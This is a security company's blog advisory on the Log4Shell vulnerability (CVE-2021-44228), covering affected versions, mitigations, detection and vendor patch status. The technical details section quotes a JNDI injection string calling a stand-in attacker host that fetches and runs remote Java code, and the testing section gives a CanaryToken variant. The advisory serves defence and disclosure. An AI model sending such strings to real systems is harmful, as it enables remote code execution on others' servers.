[CRITICAL] Apache log4j vulnerability (CVE-2021-44228)

Patrick Zwahlen
Apache Critical vulnerability Log4j Log4Shell Vulnérabilité critique
Cybersecurity Blog

IMPORTANT UPDATE 1: This article originally mentioned that running a recent JVM was a way to mitigate this vulnerability, as initially thought by the community. However, as of Monday December 13th 2021 13:00 CET this doesn't seem to be valid anymore as bypass methods have been found.

IMPORTANT UPDATE 2: The Log4j team initially released version 2.15.0 in order to solve this issue. A new vulnerability (CVE-2021-45046) was found in this version and as of Friday December 17th the CVSS score of this new vulnerability has been increased to a critical 9.0. Version 2.16.0 that completely removes the JNDI feature has been released and must be used.

IMPORTANT UPDATE 3: A denial of service vulnerability was found in log4j 2.16.0 on Friday December 17th 2021. CVE-2021-45105 has been assigned to this vulnerability with a CVSS score of 7.5. Log4j version 2.17.0 for Java 8 and 2.12.3 for Java 7 have been released and must be used in order to fix it.

Latest update : Dec 24, 2021 / 10:30 CET

1. Introduction

On Friday December 10th 2021, CVE-2021-44228 was made public and based on our experience this looks to be the most critical vulnerability seen in at least a decade.

CVE-2021-44228 (now known as log4shell) has a CVSS score of 10.0 and allows remote code execution in the Apache log4j v2.x Java logging library/component. Because it is a vulnerability in a library that is used by a vast majority of Java applications, it means remote code execution in many products, software, and cloud services built on Java components.

Since Friday, the Navixia team has been working with its partners to assess the criticality of this vulnerability in their products and we are doing our best to provide you with up-to-date information, even though the situation is changing by the hour.

2. Affected versions

Apache log4j versions between 2.0-beta9 and 2.14.1 are vulnerable. Log4j version 2.15.0 was released on Friday December 10th 2021 and fixes the problem.

Log4x v1.x is still being used by many applications. Even though it is not supported anymore, it is not affected by this vulnerability.

3. Technical details

Log4j is the de-facto Java library used for logging within Java applications. Its most basic job is to take a string of characters and write it to a log file.

In July 2013, log4J added support for the Java Naming and Directory Interface via a JNDILookup plugin. The idea behind this plugin was to allow lookups of external data, typically to enrich logs messages. Lookup would happen by fetching a Java object (a class) and run it locally. It means that a single log message can trigger a connection to an external service, fetch and execute Java code! This fetch operation can happen over different protocols like CORBA, RMI (Remote Method Interface) or LDAP.

On November 24th 2021, the Alibaba Cloud Security Team reported that this lookup can actually be controlled by an attacker by including the following string in the message that would be logged:

${jndi:ldap://evil.com/evil.class}

When log4j handles a message containing this string, it would make a request to evil.com, fetch the evil.class Java object and execute it!

4. Attack vector

Unfortunately, the attack vector for this vulnerability is huge. Any Java application using log4j v2.x to handle messages and where the message’s content can be controlled by an attacker is at risk.

So far, the most common attack vectors observed are the following:

  • A username
  • An HTTP GET and POST parameter
  • Any HTTP header
    • User-agent
    • Referrer
    • X-Forwarded-For
  • A Hostname

This list is infinite, though.

5. Mitigations

5.1 Block outbound connections

The immediate action that Navixia recommends taking is to block outbound connections from the servers running Java applications, until further review is possible. This will make sure an attacker cannot fetch a Java class from the Internet.

5.2 Upgrade the JVM used by the application

UPDATE: As of Monday December 13th 2021 13:00 CET this doesn't seem to be valid anymore as bypass methods have been found.

Next, running a recent version of the Java Virtual Machine (JVM) can drastically reduce the risk (but not bring it down to zero) and you should review if an upgrade of the JVM is possible. Beware that many applications are using embedded JVM and not necessarily the version provided by the operating system and in these cases an upgrade is probably not an option. The following JVM will mitigate this risk:

>=6u211, >=7u201, >=8u191 and >=11.0.1

When running on these JVM, the application would still connect to the attacker’s host and fetch the Java class, however execution should be blocked. This happens after complex analysis and parsing, though and weaknesses have already been identified in this process, which is why Navixia considers there is a residual risk.

5.3 Identify Java applications using log4j

All other mitigations require to first identify which Java applications are using the log4j v2.x component.

Navixia is working around the clock to do this work with its partners and the current situation for each vendor is summarized further down this message.

For custom applications, you need to immediately contact the developers (internal or external) and request an assessment of the situation.

Once those applications have been identified, further mitigations are possible.

5.4 Disable the log4j JNDILookup feature

Flags can be set when starting a Java application and the following flag will disable the JNDILookup feature from log4j >=2.10 (but not earlier versions)

‐Dlog4j2.formatMsgNoLookups=True

In many cases, the same behavior can be obtained by setting an environment variable at the Operating System level.

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

5.5 Remove the JNDILookup class from jar files

The JNDILookup class can be manually removed from the application JAR files. JAR files are actually ZIP archives, and the following ZIP command can be used:

zip -q -d <path/to/jar/file> <path/to/JndiLookup.class>

5.6 Upgrade log4j to version 2.12.3 (Java 7) or 2.17.0 (Java 8)

Finally, version 2.15.0 of log4j that fixes this issue was released on Friday December 10th 2021. All developers should therefore upgrade to this latest version immediately and recompile their applications.

Note that this is something you cannot really do as an end-user or enterprise customer. Also, this version requires Java version 8 so all applications still running on older versions won’t be able to mitigate the risk by simply dropping an updated version of log4j.

UPDATE 1: On Monday December 13th 11:30 CET, a new "denial of service" (DoS) vulnerability (CVE-2021-45046) was found on version 2.15.0 and the log4j team released version 2.16.0 that completely removes the JNDI lookup functionality. This should be the preferred version.

UPDATE 2: On Friday December 17th 08:00 CET, an RCE proof-of-concept was demonstrated for the previous DoS vulnerability. Therefore, the CVSS score of CVE-2021-45046 has been changed from 3.7 to 9.0 which makes it another critical weakness. You must be using version 2.12.2 on Java 7 and version 2.16.0 on Java 8.

UPDATE 3: On Friday December 17th 2021 in the evening, a new denial of service vulnerability was disclosed in version 2.16. It has been assigned CVE-2021-45105 with a CVSS score of 7.5 and in order to fix it you must be using version 2.12.3 on Java 7 or version 2.17.0 on Java 8.

6 Indicators Of Compromise

Due to the global scale of this vulnerability, it makes sense to take an “assume breached” approach. As the number of input vectors is endless, we recommend looking for post-exploitation indicators

6.1 Review outbound connections

You should review the firewall and proxy logs for suspicious outbound connections from the servers running your Java applications. The current attacks are mostly using LDAP on different ports to fetch the remote Java class.

6.2 Review logs

You should review your logs and search for the string 

${jndi:

This will give you an idea of the attempts made against your applications.

7 Test for the vulnerability

The easiest way to test for this vulnerability is to inject the JNDI string in many different places and monitor for outbound activity.

Before fetching a remote Java class, the application would first have to resolve the remote hostname via a DNS request and monitoring at the DNS level is an easy way to identify potentially vulnerable applications (as mentioned above, recent JVM have other mitigations so observing DNS requests doesn’t necessarily mean the application is vulnerable).

One way to get an e-mail alert based on a DNS request is to use a CanaryToken and our partner Thinkst have made it really simple to generate such a string

![1](image)

  • Choose the Log4Shell token from the dropdown list
  • Put an e-mail address that will receive the alerts
  • Choose a description to remember what this token is used-for (this will appear in the e-mail alerts)
  • Click “Create my CanaryToken” You will get a string that looks like this:
${jndi:ldap://<random string>.canarytokens.com/a}

You can then use this to test for the vulnerability and if this string is seen and logged by a vulnerable log4j component you will get an e-mail alert.

Here is an article with more detailed info about this process, including the way to include the hostname in the alert:

8 Navixia partner advisories

We will be updating this section as new info becomes available.
Latest update : Dec 24, 2021 / 10:30 CET

  • Algosec: Requires an upgrade to be protected against the multiple log4j vulnerabilities (CVE-2021-44228, CVE-2021-45046).
    Hotfixes are available for supported versions.
    Link to info here (access requires authentication)

  • Broadcom: Link to info here

  • CheckMarx: n/a

  • CheckPoint: CheckPoint has clarified that their solutions are not vulnerable to log4Shell
    Link to info here

  • Cisco Security: ESA, SMA, WSA are not vulnerable, DUO and Umbrella have been patched.
    Link to info here

  • Claroty: Claroty does not use the Log4j package, so Claroty products are not affected by this vulnerability.

  • Clearswift:The following versions of the Clearswift Secure Gateway use the vulnerable version of the Log4j software:

    • Clearswift Secure Gateway V. 5.3.0
    • Clearswift Secure Gateway V. 5.4.0
      -> Workaround: There is currently no workaround available to negate the presence of the vulnerable Apache Log4j2 software. However, stringent access controls within your environment and on the Secure Gateway itself will mitigate any potential attack surface.
      -> Remediation: Product update in preparation to remove the vulnerable version of Apache Log4j.
      Link to info here

  • Cryoserver: updated 14.12: Cryoserver is NOT VULNERABLE. The Log4J version used in Cryoserver systems is not one of the vulnerable versions. Cryoserver customers can get updated to the latest release over the coming weeks - but there is no immediate urgency as a result of the CVE notice.

  • Evidian: Under investigation
    Link to info here (access requires authentication)

  • F5 Networks: F5 Networks has clarified that their solutions are not vulnerable to Log4Shell
    Link to info here

  • Forescout: Link to info here (access requires authentication)

    • Requires an upgrade to be protected against the multiple log4j vulnerabilities (CVE-2021-44228, CVE-2021-45046).
    • Latest patch update is December 18, 2021.
    • Latest CVE (CVE-2021-45105) is not yet corrected.

  • Gigamon: Not affected, only GigaVue-FM currently under verification (Fabric Manager, centralised management).
    -> Recommendation: limit access to Fabric Manager server until final validation.
    Link to info here (access requires authentication)

  • Kiteworks: Kiteworks is using log4j internally but they have clarified that their solutions are not vulnerable to log4shell. Nevertheless, a new version (7.6.1) has been released with an updated log4j.
    A new version 7.6.1 is available with the latest version of log4j.

  • Microsoft
    Link to info here

  • Navixia:

    • SeFI: not vulnerable.
    • DiagnoPhish: is not built on Java technologies and is not vulnerable.

  • One Identity:

    • TPAM: not vulnerable. Link to info here

    • Syslog-ng Store Box: Not vulnerable. Link to info here

    • SafeGuard for Privileged Password: Not vulnerable. Link to info here

    • SafeGuard for Privileged Session (SPS/Balabit) without analytics: Not vulnerable

    • SafeGuard for Privileged Session (SPS/Balabit) with analytics: Potentially vulnerable. Link to info here

  • Oodrive: The VirtualBrowser solution does not use this library and is not vulnerable.

  • Proofpoint: Under investigation. Link to info here

  • Pleasant : Not affected by this vulnerability as log4j is not used within Pleasant Password Server (PPS)

  • RSA:

  • Tenable: n/a

  • Thales: Link to info here (access requires authentication)

    • CipherTrust Cloud Key Manager (CCKM) is impacted with patches pending
    • Luna and CipherTrust Manager are not impacted.
    • Luna SP (JAVA HSM) is still under investigation.

  • Thinkst: Not vulnerable
    Link to info here
  • Vectra Networks: Log4j is not present in a capacity that processes input, solely to generate log content, and as such, no Vectra product is vulnerable to this exploit. Link to info here

9 Other advisories

Status on 14.12.2021: In view of the rapid and constant evolution of updates all over, we have decided to concentrate on our partners. For other advisories, we suggest you check the following list:

  • A GitHub user is attempting to keep an updated list of all forum posts and advisories for all the vendors: Link to info
  • Nationaal Cyber Security Centrum (NCSC-NL) also keeps an overview of log4j related software: Link to info

10 Other Links

11 Conclusion

Today our priority at Navixia is to gather up-to-date information from all our partners and to make sure solutions running within your environments are not vulnerable.

As usual, the entire Navixia team remains available to help you assess the situation, as time permits.

However, please note that the scope and extent of this vulnerability will require efforts from all your partners and technical people.